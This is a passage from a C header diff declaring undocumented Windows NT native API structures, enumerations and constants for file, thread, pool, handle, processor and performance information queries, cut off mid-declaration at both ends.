nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + LARGE_INTEGER AllocationSize; // ntddk wdm nthal + LARGE_INTEGER EndOfFile; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal + ULONG FileAttributes; // ntddk nthal + ULONG ReparseTag; // ntddk nthal +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal + BOOLEAN DeleteFile; // ntddk nthal +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal + LARGE_INTEGER EndOfFile; // ntddk nthal +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal + LARGE_INTEGER ValidDataLength; // ntddk nthal +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// NtQuery(Set)EaFile +// +// The offset for the start of EaValue is EaName[EaNameLength + 1] +// + +// begin_ntddk begin_wdm + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +// end_ntddk end_wdm + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +// +// NtQuery(Set)QuotaInformationFile +// + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +// +// NtQueryDirectoryFile return types: +// +// FILE_DIRECTORY_INFORMATION +// FILE_FULL_DIR_INFORMATION +// FILE_ID_FULL_DIR_INFORMATION +// FILE_BOTH_DIR_INFORMATION +// FILE_ID_BOTH_DIR_INFORMATION +// FILE_NAMES_INFORMATION +// FILE_OBJECTID_INFORMATION +// + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +// +// SYSTEM_INFORMATION +// + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION +{ + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; + ULONG ImageLength; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +// +// taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. +// + +typedef enum _THREAD_STATE +{ + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + Spare2, + Spare3, + Spare4, + Spare5, + Spare6, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +//FIXED 21.02.2011 size for x64/x86 +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY { + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION { + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_POOLTAG { + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; +} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG UniqueProcessId; + ULONG HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG NumberOfHandles; + ULONG Reserved; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + UCHAR SecurityRequired; + UCHAR WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[ 1 ]; +} SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#if defined(_M_X64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // Checked Build + LARGE_INTEGER InterruptTime; // Checked Build + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_NUMA_INFORMATION { + ULONG HighestNodeNumber; + ULONG Reserved; + union { + ULONG64 ActiveProcessorsAffinityMask[ 16 ]; + ULONG64 AvailableMemory[ 16 ]; + }; +} SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; + +#if !defined(_WINNT_) + +typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP +{ + RelationProcessorCore, + RelationNumaNode, + RelationCache, + RelationProcessorPackage +} LOGICAL_PROCESSOR_RELATIONSHIP; + +typedef enum _PROCESSOR_CACHE_TYPE +{ + CacheUnified, + CacheInstruction, + CacheData, + CacheTrace +} PROCESSOR_CACHE_TYPE; + +#define CACHE_FULLY_ASSOCIATIVE 0xFF + +typedef struct _CACHE_DESCRIPTOR +{ + BYTE Level; + BYTE Associativity; + WORD LineSize; + DWORD Size; + PROCESSOR_CACHE_TYPE Type; +} CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + ULONG_PTR ProcessorMask; + LOGICAL_PROCESSOR_RELATIONSHIP Relationship; + union { + struct { + BYTE Flags; + } ProcessorCore; + struct { + DWORD NodeNumber; + } NumaNode; + CACHE_DESCRIPTOR Cache; + ULONGLONG Reserved[2]; + }; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +#define PROCESSOR_INTEL_386 386 +#define PROCESSOR_INTEL_486 486 +#define PROCESSOR_INTEL_PENTIUM 586 +#define PROCESSOR_INTEL_IA64 2200 +#define PROCESSOR_AMD_X8664 8664 +#define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE +#define PROCESSOR_ALPHA_21064 21064 +#define PROCESSOR_PPC_601 601 +#define PROCESSOR_PPC_603 603 +#define PROCESSOR_PPC_604 604 +#define PROCESSOR_PPC_620 620 +#define PROCESSOR_HITACHI_SH3 10003 // Windows CE +#define PROCESSOR_HITACHI_SH3E 10004 // Windows CE +#define PROCESSOR_HITACHI_SH4 10005 // Windows CE +#define PROCESSOR_MOTOROLA_821 821 // Windows CE +#define PROCESSOR_SHx_SH3 103 // Windows CE +#define PROCESSOR_SHx_SH4 104 // Windows CE +#define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 +#define PROCESSOR_ARM720 1824 // Windows CE - 0x720 +#define PROCESSOR_ARM820 2080 // Windows CE - 0x820 +#define PROCESSOR_ARM920 2336 // Windows CE - 0x920 +#define PROCESSOR_ARM_7TDMI 70001 // Windows CE +#define PROCESSOR_OPTIL 0x494f // MSIL + +#define PROCESSOR_ARCHITECTURE_INTEL 0 +#define PROCESSOR_ARCHITECTURE_MIPS 1 +#define PROCESSOR_ARCHITECTURE_ALPHA 2 +#define PROCESSOR_ARCHITECTURE_PPC 3 +#define PROCESSOR_ARCHITECTURE_SHX 4 +#define PROCESSOR_ARCHITECTURE_ARM 5 +#define PROCESSOR_ARCHITECTURE_IA64 6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 7 +#define PROCESSOR_ARCHITECTURE_MSIL 8 +#define PROCESSOR_ARCHITECTURE_AMD64 9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 + +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF + +#define PF_FLOATING_POINT_PRECISION_ERRATA 0 +#define PF_FLOATING_POINT_EMULATED 1 +#define PF_COMPARE_EXCHANGE_DOUBLE 2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 3 +#define PF_PPC_MOVEMEM_64BIT_OK 4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 8 +#define PF_PAE_ENABLED 9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 +#define PF_SSE_DAZ_MODE_AVAILABLE 11 +#define PF_NX_ENABLED 12 +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 +#define PF_COMPARE_EXCHANGE128 14 +#define PF_COMPARE64_EXCHANGE128 15 +#define PF_CHANNELS_ENABLED 16 + +typedef struct _MEMORY_BASIC_INFORMATION +{ + PVOID BaseAddress; + PVOID AllocationBase; + DWORD AllocationProtect; + SIZE_T RegionSize; + DWORD State; + DWORD Protect; + DWORD Type; +} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; + +#endif /*_WINNT_*/ + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONG64 CurrentFrequencyTime; + ULONG64 CurrentProcessorTime; + ULONG64 CurrentProcessorIdleTime; + ULONG64 LastProcessorTime; + ULONG64 LastProcessorIdleTime; +} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + SYSINF_PAGE_COUNT CommittedPages; + SYSINF_PAGE_COUNT CommitLimit; + SYSINF_PAGE_COUNT PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG 